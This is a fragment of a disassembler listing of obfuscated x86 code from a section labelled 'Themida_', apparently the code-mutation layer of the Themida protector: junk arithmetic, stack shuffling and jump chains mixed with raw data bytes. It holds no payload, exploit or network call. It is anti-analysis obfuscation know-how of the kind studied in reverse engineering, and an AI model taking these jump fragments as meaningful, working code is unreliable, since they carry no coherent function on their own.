shl edi, 3
jmp loc_55A803
; ---------------------------------------------------------------------------
db 8Bh
dd 8AE9241Ch, 0FFFFFF5Fh, 0A8E92434h, 80FFFF94h, 0C808FEE9h
dd 80B15159h, 5FE9D9F6h, 68FFFF2Dh, 64A7h, 0FF4C20E9h
dd 4C483FFh, 3A10C181h, 3C8B2924h, 4C48124h, 89000000h
dd 348B59C8h, 4C48324h, 0FF8510E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562D65: ; CODE XREF: Themida_:0055B110j
mov edx, 697B0E23h
push 0
add dword ptr [esp], 12C11F22h
sub [esp], edx
jmp loc_56406E
; ---------------------------------------------------------------------------
dw 815Bh
dd 4C4h, 676FE900h, 1C8BFFFFh, 86685124h, 89000064h, 0BD552424h
dd 4, 4246C81h, 726E1CDFh, 4246C01h, 0FF2634E9h, 7E9EBFFFh
dd 0F78155AAh, 7B4A0395h, 15FFD01h, 2558E9E8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_562DC2: ; CODE XREF: Themida_:0055E259j
not esi
add esi, 286B23F8h
mov eax, esi
pop esi
add ebp, 60737CC4h
jmp loc_56215A
; ---------------------------------------------------------------------------
dd 8451E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562DDE: ; CODE XREF: Themida_:00558CCFj
push dword ptr [esp]
pop eax
push ebx
jmp loc_55EF63
; ---------------------------------------------------------------------------
loc_562DE8: ; CODE XREF: Themida_:00563924j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
push 1B52h
mov [esp], edi
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_561778
; ---------------------------------------------------------------------------
dw 0D131h
dd 0E981415Ah, 386B964Ah, 1AA7ED81h, 0CD017C8Fh, 0FFCCA1E9h
dd 10AB68FFh, 1C890000h, 0E939B724h, 0FFFF8FBDh
; ---------------------------------------------------------------------------
loc_562E34: ; CODE XREF: Themida_:00563C2Dj
push 46A0h
mov [esp], esi
push edx
mov edx, 27871748h
inc edx
inc edx
shl edx, 5
shl edx, 2
sub edx, 8BCE370Ah
jmp loc_5587B5
; ---------------------------------------------------------------------------
loc_562E55: ; CODE XREF: Themida_:00559980j
pop esp
mov [esp], edx
mov edx, 4AED678Ch
push ecx
mov ecx, 3A9D2B0Dh
shr ecx, 1
shr ecx, 3
xor ecx, 3A9D2B0h
add ecx, 0E6E137Bh
sub ecx, edx
jmp loc_552103
; ---------------------------------------------------------------------------
loc_562E7C: ; CODE XREF: Themida_:005529F6j
add edi, esi
add edi, 3BE528C6h
jmp loc_552E90
; ---------------------------------------------------------------------------
loc_562E89: ; CODE XREF: Themida_:005563CCj
pop esi
push eax
jmp loc_55B837
; ---------------------------------------------------------------------------
dd 81240C8Bh, 4C4h, 241C8B00h, 4C481h, 0BD550000h, 4, 2C8BEB01h
dd 4C48324h, 8104C383h, 4ECh, 241C8900h, 42474FFh, 24048F5Bh
dd 0E924248Bh, 0FFFF7FEAh
; ---------------------------------------------------------------------------
loc_562ECC: ; CODE XREF: Themida_:005634B8j
sub ebx, 495C0441h
jmp loc_55BC0B
; ---------------------------------------------------------------------------
loc_562ED7: ; CODE XREF: Themida_:00554DA4j
push esp
pop edi
jmp loc_55A9D4
; ---------------------------------------------------------------------------
dw 0FCB9h
dd 0F7596416h, 3E1C1D9h, 0FF56D4E9h
db 0FFh
byte_562EED db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:0054FC5Co
dd 0C214E902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562EF6: ; CODE XREF: Themida_:0055502Aj
xchg edi, [esp]
pop esp
push 3588h
jmp loc_5548F7
; ---------------------------------------------------------------------------
dd 4A50C681h, 0FE01071Bh, 4A50EE81h, 5BE9071Bh, 5200000Fh
dd 8152C289h, 5B702404h, 0E9591818h, 0FFFFBB71h
; ---------------------------------------------------------------------------
loc_562F28: ; CODE XREF: Themida_:0055D0E2j
push ebx
jmp loc_5500AD
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 0FFFF3057h, 0AD1E19BDh, 8BD53178h, 89522414h, 4EC83E2h
dd 0E9243C89h, 805h
; ---------------------------------------------------------------------------
loc_562F4C: ; CODE XREF: Themida_:00556DF4j
add ebp, 4
jmp loc_55F0DC
; ---------------------------------------------------------------------------
loc_562F57: ; CODE XREF: Themida_:00554996j
pop ecx
add ecx, ebp
pop ebp
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_55D330
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 6E716855h, 2C8B1C6Ch, 9A54E924h, 0C968FFFFh, 89000078h
dd 77BA2414h, 42724519h, 729ECA81h, 0C28102BEh, 3A412145h
dd 3760EA81h, 0D3294EBBh, 0FFC1BBE9h, 68FFh, 9AE90000h
dd 68FFFFF5h, 3958h, 0E9241C89h, 0FFFF73FEh, 0A3DEF81h
dd 685323D1h, 4F31h, 55241489h, 0E36A6ABDh, 5DEA8970h
dd 78926851h, 0C8B37A4h, 4C48124h, 81000000h, 935DCAF1h
dd 6AF1815Ah, 89CF2A84h, 0D32959CBh, 0C1DBF75Ah, 39E907EBh
db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562FFB: ; CODE XREF: Themida_:0055BB44j
push esp
pop ebx
push eax
push ebx
push 73A74145h
jmp loc_554C09
; ---------------------------------------------------------------------------
db 57h, 68h, 4Fh
dd 0E96FC76Dh, 1EFDh, 0C8285866h, 0CFD1E959h, 0C681FFFFh
dd 0FAEBD737h, 505EF089h, 0D40DF6B8h, 6449050Ah, 0E0C13D08h
dd 0B52D08h, 0A60D503Eh, 542EA6Bh, 6FD63563h, 6ADECF35h
dd 58C6010Eh, 0FF28E5E9h, 3BE954FFh
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563057: ; CODE XREF: Themida_:00557DCAj
and edx, 1EC94601h
and edx, 507212A6h
sub edx, 66D66D6Bh
jmp loc_5609F8
; ---------------------------------------------------------------------------
loc_56306E: ; CODE XREF: Themida_:005576AFj
push dword ptr [esp]
pop ebp
add esp, 4
add esi, 6CF122C7h
sub esi, edx
jmp loc_551E9F
; ---------------------------------------------------------------------------
dw 0E953h
dd 0FFFF573Eh, 685DEB01h, 2FF0h, 0FFCB78E9h, 2434FFFFh
dd 5A2434FFh, 0E904EC83h, 976h, 0BD262CBFh, 794DE93Eh
dd 0B850FFFFh, 1870CD85h, 0FF621FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5630B9: ; CODE XREF: Themida_:005597ECj
push eax
mov eax, esp
push ecx
mov ecx, 4
jmp loc_557D89
; ---------------------------------------------------------------------------
loc_5630C7: ; CODE XREF: Themida_:00559C34j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_555608
; ---------------------------------------------------------------------------
loc_5630DE: ; CODE XREF: Themida_:005610B6j
pop ebx
sub esp, 4
mov [esp], edi
pop edx
jmp loc_563828
; ---------------------------------------------------------------------------
dw 8858h
dd 89E95BF8h, 0BEFFFF6Bh, 238D775Bh, 15EF201h, 9F685AD0h
dd 8900001Ch, 2BB241Ch, 5000000h, 30F61312h, 122DD829h
dd 5B30F613h, 5C240487h, 0FFDEF7E9h, 0ABEB81FFh, 0E931361Fh
dd 0FFFED264h
; ---------------------------------------------------------------------------
loc_563130: ; CODE XREF: Themida_:0055759Dj
pop eax
jmp loc_557F9D
; ---------------------------------------------------------------------------
dw 5650h
dd 0D27D4EBEh, 891EB843h, 9DE9A467h
db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563147: ; CODE XREF: Themida_:00555818j
add ebp, 4
push eax
mov eax, 4
add ebp, eax
jmp loc_55C143
; ---------------------------------------------------------------------------
dw 405h
dd 55000000h, 4BDh, 0D8F6E900h, 0F289FFFEh, 0EAC1425Eh
dd 0C6F28106h, 8934B015h, 0E0C15AD0h, 4EC8304h, 0BA241489h
dd 4590116Ch, 0D213205h, 2DD0291Fh, 1F0D2132h, 6824148Bh
dd 5DB5h, 89240C89h, 8B8AE9E1h, 0B652FFFFh, 66C6FE19h
dd 1B551h, 805966EEh, 0F5209FEEh, 0F6C5865Ah, 30C530D0h
dd 68C530E8h, 129Fh, 52241C89h, 80E9CEB6h, 81FFFFEDh, 2F5E42E2h
dd 6DF2811Fh, 812BCF5Bh, 4A1E97E2h, 0E1F2816Fh, 8125783Ch
dd 933647C2h, 0F6F9E952h, 0CA81FFFFh, 56EF1559h, 8106EAC1h
dd 0EA7AB4C2h, 3AEA8118h, 31FC8D58h, 0FD685AD1h, 89000032h
dd 0FBE9240Ch, 8100001Eh, 6CBAB0F5h, 0A7C68109h, 117D475h
dd 0A7EE81EEh, 5D17D475h, 815EF129h, 6E5913F1h, 4E6368E9h
dd 14890000h, 58506824h, 0E95A4D04h, 0FFFF109Dh
; ---------------------------------------------------------------------------
loc_56324C: ; CODE XREF: Themida_:0056454Cj
pop edi
jmp loc_55ACEA
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 0FFFF2A0Fh
; ---------------------------------------------------------------------------
loc_563258: ; CODE XREF: Themida_:00561A68j
xchg esi, ecx
not esi
xchg esi, ecx
jmp loc_55D9CB
; ---------------------------------------------------------------------------
loc_563263: ; CODE XREF: Themida_:0055F83Dj
xor edi, 6CB05692h
push ebx
push edx
push 4AFF3E0Dh
pop edx
jmp loc_55330D
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F5E0424h, 895C2404h, 5954240Ch, 4C181h, 0E9810000h
dd 4, 0FF0816E9h, 4C381FFh, 81000000h, 4C3h, 241C8700h
dd 0E924248Bh, 0FFFF01F7h
; ---------------------------------------------------------------------------
loc_5632AC: ; CODE XREF: Themida_:005543A1j
pop eax
and eax, ecx
mov ecx, [esp]
add esp, 4
shr eax, 0Bh
xor ecx, eax
push 2274h
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 4B16h
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
push ecx
jmp loc_556484
; ---------------------------------------------------------------------------
loc_5632EF: ; CODE XREF: Themida_:0055D81Aj
mov [esp], edx
push ebx
push 222C35FDh
jmp loc_55299A
; ---------------------------------------------------------------------------
loc_5632FD: ; CODE XREF: Themida_:00555742j
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], eax
jmp loc_55B03F
; ---------------------------------------------------------------------------
loc_56330A: ; CODE XREF: Themida_:0055BFC5j
sub edx, 20C240B6h
jmp loc_5519A4
; ---------------------------------------------------------------------------
db 0B7h, 0D0h, 0E9h
dd 0FFFFCD2Ch, 769FE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563322: ; CODE XREF: Themida_:0055E249j
add esi, 4
jmp loc_5562A2
; ---------------------------------------------------------------------------
dw 348Bh
dd 4C48324h, 8B24048Fh, 4012424h, 0D8E99C24h, 81FFFECBh
dd 326494C3h, 0D3E3813Fh, 0E9289C35h, 0FFFF4B55h, 276568h
dd 243C8900h, 0C7815F54h, 4, 0E904C783h, 21BFh, 15BD829h
dd 9DB8E9D8h, 0E789FFFFh, 0FECEB2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563379: ; CODE XREF: Themida_:00557AC5j
add esp, 4
jmp loc_559756
; ---------------------------------------------------------------------------
dd 7AA068h, 242C8900h, 7A5C68h, 0CEC0E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563396: ; CODE XREF: Themida_:0056516Aj
pop dword ptr [esp]
jmp loc_558875
; ---------------------------------------------------------------------------
dw 805Bh
dd 79E9BAF6h, 5E000017h, 295DE829h, 24048BC7h, 0E904C483h
dd 0FFFFD4F1h, 22E9D428h, 89FFFF1Ch, 6AE9242Ch
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5633C7: ; CODE XREF: Themida_:005521BBj
push ebx
push 0
pop ebx
add ebx, ecx
add [ebx], esi
pop ebx
pop ecx
mov edx, [esp]
add esp, 4
pop esi
loc_5633DB: ; CODE XREF: Themida_:005519B0j
push esi
push esp
pop esi
add esi, 4
push 0D35h
jmp loc_553545
; ---------------------------------------------------------------------------
loc_5633EE: ; CODE XREF: Themida_:00550E8Cj
pop eax
jmp loc_557104
; ---------------------------------------------------------------------------
loc_5633F4: ; CODE XREF: Themida_:0055256Aj
add ecx, 4
jmp loc_551414
; ---------------------------------------------------------------------------
dd 0E95AD601h, 0FFFFA397h, 0D531D2F7h, 5B8E9h, 53D42800h
dd 0EB801DB3h, 0D3B050EFh, 56E9AD34h, 8B000004h, 0C3302424h
dd 66C0B60Fh, 6824148Bh, 70BBh, 83241489h, 0EC8304ECh
dd 24248904h, 4240483h, 5324048Fh, 4BBh, 24448100h, 5B2D6B04h
dd 246C8167h, 82516604h, 246C8158h, 3A500E04h, 245C0125h
dd 24448104h, 3A500E04h, 24448125h, 82516604h, 246C8158h
dd 5B2D6B04h, 148B5B67h, 0CC4DE924h
db 0FEh, 0FFh
word_563486 dw 0A868h ; DATA XREF: Themida_:0054FE98o
dd 0E9000009h, 0FFFED8F9h, 0BBh, 0E9CB0100h, 0FFFF700Fh
; ---------------------------------------------------------------------------
loc_56349C: ; CODE XREF: Themida_:00561E94j
mov edi, 42EA6763h
and edi, 3F8C70FBh
add edi, 66C0867h
sub ebp, edi
pop edi
add ebx, 495C0441h
add ebx, ebp
jmp loc_562ECC
; ---------------------------------------------------------------------------
loc_5634BD: ; CODE XREF: Themida_:00559936j
mov ecx, 68267502h
shr ecx, 6
push 5942h
mov [esp], ecx
inc dword ptr [esp]
jmp loc_56005C
; ---------------------------------------------------------------------------
loc_5634D5: ; CODE XREF: Themida_:005613ACj
pop esp
push 46B6h
mov [esp], edi
push 5321h
mov [esp], ecx
push esp
jmp loc_555EF7
; ---------------------------------------------------------------------------
loc_5634EC: ; CODE XREF: Themida_:0055FDFAj
push dword ptr [esp]
pop eax
add esp, 4
push eax
jmp loc_564814
; ---------------------------------------------------------------------------
loc_5634F9: ; CODE XREF: Themida_:0055E4DCj
pop esi
shl eax, cl
push ecx
mov ecx, esp
jmp loc_556295
; ---------------------------------------------------------------------------
loc_563504: ; CODE XREF: Themida_:005598CFj
push eax
jmp loc_555721
; ---------------------------------------------------------------------------
dw 1489h
dd 1132E924h
db 2 dup(0)
word_563512 dw 8B66h ; DATA XREF: Themida_:0054FCECo
dd 7E9240Ch, 1FFFED6h, 140668C3h, 0C890000h, 6388E924h
dd 0F180FFFFh, 59CB00F0h, 28FEEB80h, 0B30DE9C3h, 8151FFFFh
dd 4ECh, 243C8900h, 0E51E08BFh, 5FF98949h, 0FF6D78E9h
dd 33F581FFh, 8B3F8002h, 0C481240Ch, 4, 0B951h, 0E9290000h
dd 9FE9CD87h
db 94h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56356F: ; CODE XREF: Themida_:00556D2Bj
pop eax
add esp, 4
push edx
pop eax
push dword ptr [esp]
pop edx
push edi
push 4D33h
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_558D4C
; ---------------------------------------------------------------------------
loc_563597: ; CODE XREF: Themida_:0056192Dj
jz loc_551B4D
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], esi
mov esi, esp
push edx
push ecx
mov ecx, 0BC77EACh
mov edx, 0F4388158h
add edx, 4F94010Eh
add edx, ecx
sub edx, 4F94010Eh
pop ecx
add esi, edx
pop edx
push ebp
jmp loc_55A283
; ---------------------------------------------------------------------------
a0Htb db '0Ãhtb',0
align 2
dw 1C89h
dd 5CE95124h, 81FFFF13h, 4ECh, 242C8900h, 3A7B38BDh, 21C38150h
dd 0E9636025h, 0FFFF9AB3h
; ---------------------------------------------------------------------------
loc_5635FC: ; CODE XREF: Themida_:0055E535j
sub edx, esi
pop esi
and ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
shr ecx, 0Bh
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
jmp loc_560972
; ---------------------------------------------------------------------------
db 51h, 55h, 0BDh
dd 2DCF6E75h, 0CF6E79B9h, 5DE9292Dh, 8759CE29h, 895C2434h
dd 74FF242Ch, 2C8B0424h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_56280D
; ---------------------------------------------------------------------------
db 81h, 0F3h, 90h
dd 8175D076h, 22A906C3h, 0BAC8E98Ah, 8B66FFFFh, 0C4832414h
dd 5BF93002h, 5158B652h, 0EE0049B5h, 0FFDC51E9h, 5EF589FFh
dd 5DE9534Dh, 89FFFF2Dh, 4929E9E6h, 2C89FFFFh, 0A1BB5324h
dd 89799F0Bh, 7088E9DDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563692: ; CODE XREF: Themida_:0055171Aj
pop edi
xchg ebp, [esp]
jmp loc_562685
; ---------------------------------------------------------------------------
db 31h
dd 2C33242Ch, 24248B24h, 9C2424D2h, 0FEC86AE9h, 81E689FFh
dd 4C6h, 4EE8100h, 87000000h, 0E95C2434h, 0FFFF621Ch
; ---------------------------------------------------------------------------
loc_5636C4: ; CODE XREF: Themida_:0055199Fj
pop esp
jmp loc_55C417
; ---------------------------------------------------------------------------
dw 0E8C1h
dd 44343507h, 0BA523E19h, 30147DA5h, 0ECE9DAF7h
db 30h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5636DF: ; CODE XREF: Themida_:0055CF2Aj
push ebx
push 78DD5E74h
mov ebx, [esp]
add esp, 4
jmp loc_558A46
; ---------------------------------------------------------------------------
db 5Fh
dd 4D5EF529h, 7B46ED81h, 0EE011493h, 0E92434FFh, 0FFFF3FFCh
dword_563708 dd 0E92434FFh, 0FFFFF446h, 24E95Dh, 248BFFFFh, 240C8924h
; DATA XREF: Themida_:0054FEB0o
dd 0AF7098B9h, 96E9816Ah, 816AAF70h, 0B74F9BEFh, 81CF0162h
dd 0B74F9BC7h, 240C8B62h, 3304C483h, 3C31243Ch, 243C3324h
dd 6624248Bh, 9C2424D3h, 0FEC7C6E9h, 0CB951FFh, 89448D7Ah
dd 240C8BCFh, 0E904C483h, 0FFFECB67h, 5AD33159h, 4117BF57h
dd 814F6919h, 0EEFB11EFh, 0FFFB01B1h, 815F2434h, 4C4h
dd 0E9DD0100h, 0FFFF8E63h, 8158C729h, 939CDEFh, 4EC815Ah
dd 89000000h, 0D8BE2434h, 4E4E6115h, 0C681D6F7h, 7A081825h
dd 30E95157h, 5CFFFF2Fh, 31240C33h, 0C33240Ch, 57D0E924h
dd 874BFFFFh, 81DEF7DEh, 6C58F5EEh, 63EE817Fh, 4E178D38h
dd 79D4E681h, 0EE81693Dh, 203531D0h, 575EF289h, 48266EBFh
dd 5FF9010Ch, 44F8C181h, 0D101442Dh, 44F8E981h, 0E981442Dh
dd 0C48266Eh, 5A2434FFh, 0ABBE950h, 48B0000h, 4C48124h
dd 68000000h, 774Bh, 0FF525EE9h, 5E089FFh, 4, 0E904C083h
dd 0FFFF5B72h
; ---------------------------------------------------------------------------
loc_563828: ; CODE XREF: Themida_:005630E9j
push dword ptr [esp]
mov edi, [esp]
jmp loc_5643EC
; ---------------------------------------------------------------------------
loc_563833: ; CODE XREF: Themida_:0055D182j
push edi
jmp loc_55966B
; ---------------------------------------------------------------------------
db 29h, 0FDh, 5Fh
dd 0EC83C501h, 7B2CE904h, 0F701FFFFh, 4C7835Eh, 8B243C87h
dd 98E92424h, 52FFFF2Fh, 0DD226ABAh, 399D2D53h, 0D0296446h
dd 0FEE1BDE9h, 2434FFFFh, 0E3895358h, 0FF9640E9h, 51D8F6FFh
dd 0C980D0B1h, 72C7E9D7h, 0C681FFFFh, 4, 4EE81h, 0DBE90000h
dd 8FFFFEDBh, 248B2404h, 240CD224h, 0C675E99Ch, 3C8BFFFEh
dd 4C48324h, 5506E9C1h, 5C6642BDh, 8BE92905h, 5456242Ch
dd 1E23E95Eh, 91B8FFFFh, 351C0C37h, 2C19032Dh, 0E904E8C1h
dd 0FFFF4D38h, 8158C689h, 4ECh, 243C8900h, 455D8BBFh, 0E1E98152h
dd 16B5A59h, 0E1C181F9h, 0E96B5A59h, 0FFFF0F7Bh
; ---------------------------------------------------------------------------
loc_5638F4: ; CODE XREF: Themida_:0054FFC8j
push eax
mov eax, 20412492h
sub esp, 4
mov [esp], eax
mov eax, 60116ADEh
jmp loc_55CEE2
; ---------------------------------------------------------------------------
loc_56390D: ; CODE XREF: Themida_:005572B0j
and ebx, 277167A2h
xor ebx, 22604282h
add esi, ebx
mov ebx, [esp]
add esp, 4
xor esi, [esp]
jmp loc_562DE8
; ---------------------------------------------------------------------------
loc_563929: ; CODE XREF: Themida_:00560AA5j
add ebx, 4
xchg ebx, [esp]
jmp loc_554961
; ---------------------------------------------------------------------------
dword_563934 dd 24048B66h, 5B0C68h, 240C8900h, 8904EC83h, 4812424h
; DATA XREF: Themida_:0054FDE0o
dd 424h, 2434FF00h, 0FEF7DCE9h, 241C89FFh, 241C8B54h, 0FF8B7CE9h
dd 5AD389FFh, 3D776851h, 2C890000h, 0E7E95224h, 81FFFF4Ah
dd 0EB920CC1h, 0E9CB213Bh, 0FFFF4741h, 7B37C281h, 40E9423Bh
db 8Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56398B: ; CODE XREF: Themida_:0055B94Fj
push ebp
mov ebp, 0
sub ebp, edi
jmp loc_551E3D
; ---------------------------------------------------------------------------
loc_563998: ; CODE XREF: Themida_:005575A3j
or edi, 16510B83h
and edi, 3ECC77EFh
shl edi, 4
sub edi, 0C6F32EFh
sub edi, 0F3B6CEC6h
add ecx, edi
pop edi
mov eax, [esp]
add esp, 4
push ecx
jmp loc_564052
; ---------------------------------------------------------------------------
db 31h, 0EAh, 31h
dd 242C31D5h, 31242C33h, 34FF242Ch, 0CFE95824h, 89FFFF7Ch
dd 4C381E3h, 0E9000000h, 0FFFF6203h, 4C681h, 0EC810000h
dd 4, 0E9241489h, 0FFFF3D85h
; ---------------------------------------------------------------------------
loc_5639FC: ; CODE XREF: Themida_:0055A974j
mov [esp], eax
xchg edi, [esp]
not edi
xchg edi, [esp]
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
sub esp, 4
mov [esp], esi
push ebx
jmp loc_55C765
; ---------------------------------------------------------------------------
dw 1489h
dd 68E28924h, 7010h, 0B9240C89h, 4, 0E959CA01h, 0FFFFAC1Fh
dd 46C5F281h, 0D7896C03h, 31F7815Ah, 0F74B2E4Dh, 0CC5DE9D7h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_563A4A: ; CODE XREF: Themida_:0055A305j
pop esp
sub ebx, 626E1FBCh
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_560CA1
; ---------------------------------------------------------------------------
dw 0FF50h
dd 58042474h, 5C24048Fh, 0B8240489h, 4, 4C93B850h, 0BD557213h
dd 5E321AF0h, 0C5ED8145h, 9EDA30Bh, 685DE8h, 29000000h
dd 50582404h, 582414F7h, 2414F750h, 7E242D58h, 3AE92365h
db 57h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563AA7: ; CODE XREF: Themida_:005595CAj
mov [esp], ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4D334BD8h
or eax, 2D604FE7h
jmp loc_55E21A
; ---------------------------------------------------------------------------
dw 8B5Bh
dd 0C4812404h, 4, 535BB252h, 0DA0873B3h, 2EAC05Bh, 0B450D2F6h
dd 0DEC480A0h, 8858E228h, 24148BD3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xor bl, 7Ch
jmp loc_561B68
; ---------------------------------------------------------------------------
db 0FFh
dd 0FF042474h, 8AE92434h, 87FFFFD9h, 0E95C240Ch, 0FFFFCD55h
; ---------------------------------------------------------------------------
loc_563B18: ; CODE XREF: Themida_:00563F2Fj
add ebp, 4
push edi
jmp loc_551713
; ---------------------------------------------------------------------------
dd 2474FF56h, 0E4B1E904h, 0D931FFFFh, 0FFD930E9h, 242C8BFFh
dd 0C104C483h, 575508E6h, 529F96BFh, 0EB38E987h
db 0FEh, 0FFh
word_563B4A dw 50ADh ; DATA XREF: Themida_:0054FC54o
dd 6135DCB8h, 7E8C11Dh, 8105D0F7h, 56154057h, 0D43B79BEh
dd 1AE6816Dh, 0E9790369h, 0FFFF5C38h, 603BF8BDh, 0FF5E951h
dd 315CFFFFh, 0E1E92404h, 29FFFF65h, 24148BD3h, 5304C483h
dd 42474FFh, 24048F5Bh, 0FFC605E9h, 3CF0BFFFh, 0AAE92A7Ah
db 0A8h, 2 dup(0FFh)
byte_563B9F db 66h ; DATA XREF: Themida_:0054FE74o
dd 665366ADh, 66389EBBh, 81E9D801h, 89FFFEDDh, 0C3015EF0h
dd 0FFC7BDE9h, 0C7C581FFh, 5E429309h, 8B242C87h, 1662424h
dd 0E99C2404h, 0FFFF2092h, 8516D5BBh, 7EBC131h, 0A675EB81h
dd 0D889892Eh, 58C7895Bh, 39A6BD55h, 0EBE957ECh, 89FFFECAh
dd 0FABE56E3h, 8151154Dh, 0D51CCAE6h, 2DE68152h, 811F917Eh
dd 110C0CF6h, 8BF30110h, 0C4812434h, 4, 0FF040FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563C19: ; CODE XREF: Themida_:00558C0Fj
pop esp
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
jmp loc_562E34
; ---------------------------------------------------------------------------
dw 3431h
dd 24343324h, 0E089505Ch, 10CFE9h
db 0
; ---------------------------------------------------------------------------
loc_563C41: ; CODE XREF: Themida_:0055FECDj
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_5622F9
; ---------------------------------------------------------------------------
db 4Fh, 81h, 0F7h
dd 0B2DCD151h, 0C15FFE31h, 0E95104E6h, 0FFFEC750h, 240C8B59h
dd 0FFF0D4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563C71: ; CODE XREF: Themida_:00564418j
mov edx, [esp]
add esp, 4
add edx, 4
add edx, 4
push edx
jmp loc_55342E
; ---------------------------------------------------------------------------
dd 5A2434FFh, 4C481h, 0F3010000h, 4EC835Eh, 0BD242C89h
dd 2, 5BF0EB81h, 0EB017C90h, 0FED5CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563CB1: ; CODE XREF: Themida_:005542B0j
pop ebp
xchg ebx, [esp]
pop esp
jmp loc_55A210
; ---------------------------------------------------------------------------
loc_563CBB: ; CODE XREF: Themida_:00557D21j
mov edi, [esp]
jmp loc_5625A8
; ---------------------------------------------------------------------------
db 50h
dd 0FF0B63E9h, 0C6815EFFh, 4, 4B951h, 0CE010000h, 0FF30E2E9h
dd 5BDD20FFh, 8018F580h, 0EB28C4EBh, 59C4C380h, 0FEFBEBE9h
dd 4BDFFh, 0EB010000h, 241C875Dh, 7186E95Ch, 0C629FFFFh
dd 582434FFh, 0FF3B28E9h, 81C101FFh, 7E5C4CE9h, 53B5E909h
dd 2C5BFFFFh, 0E9D00091h, 0FFFEC912h, 0F65AD520h, 0F478E9DDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563D2E: ; CODE XREF: Themida_:0055DA43j
add ebx, 4
jmp loc_55A711
; ---------------------------------------------------------------------------
loc_563D39: ; CODE XREF: Themida_:00558F3Bj
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 0FFFFFFFFh
add edi, ebp
pop ebp
push edi
push ecx
jmp loc_562D0A
; ---------------------------------------------------------------------------
db 58h
dd 0E7D1D7F7h, 0FED306E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563D59: ; CODE XREF: Themida_:0055A715j
add bl, 0C2h
sub esp, 4
mov [esp], edx
jmp loc_552EF2
; ---------------------------------------------------------------------------
loc_563D67: ; CODE XREF: Themida_:00556ACFj
add edi, ecx
pop ecx
xchg edi, [esp]
jmp loc_561C5C
; ---------------------------------------------------------------------------
word_563D72 dw 34FFh ; DATA XREF: Themida_:0054FCD0o
aYwichaj db '$YW‰çhAj',0
align 2
dw 489h
dd 0BF575624h, 7EEE3C02h, 0E9D7F74Fh, 1236h, 0C2E9D828h
dd 0BBFFFF1Fh, 5A641AEEh, 58CEE381h, 0EBD15067h, 2155C381h
dd 0D3F70601h, 0FF328FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563DB1: ; CODE XREF: Themida_:0055CFABj
add esi, 3ECE349Ah
add esi, eax
sub esi, 3ECE349Ah
push dword ptr [esp]
jmp loc_55A350
; ---------------------------------------------------------------------------
db 5Ah
dd 32A0C381h, 0F30173B7h, 0FF662EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563DD5: ; CODE XREF: Themida_:00552320j
xor ebx, 0BF88D55Ch
sub esi, ebx
jmp loc_5545A4
; ---------------------------------------------------------------------------
dw 0C629h
dd 0E33E958h, 0E0C1FFFFh, 6C752D02h, 0C529E55Fh, 2FE95B58h
db 9Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563DFB: ; CODE XREF: Themida_:0055DF67j
mov [esp], ebx
sub esp, 4
push 25A2h
mov [esp], esp
jmp loc_562C65
; ---------------------------------------------------------------------------
loc_563E0E: ; CODE XREF: Themida_:0055C15Bj
sub edi, 49BD7C64h
push ecx
mov ecx, 661F4A1Dh
push edx
jmp loc_552E21
; ---------------------------------------------------------------------------
dd 0E904C483h, 0FFFEE05Ch, 1C6F095Eh, 0FFCC37E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563E31: ; CODE XREF: Themida_:00565284j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ebx
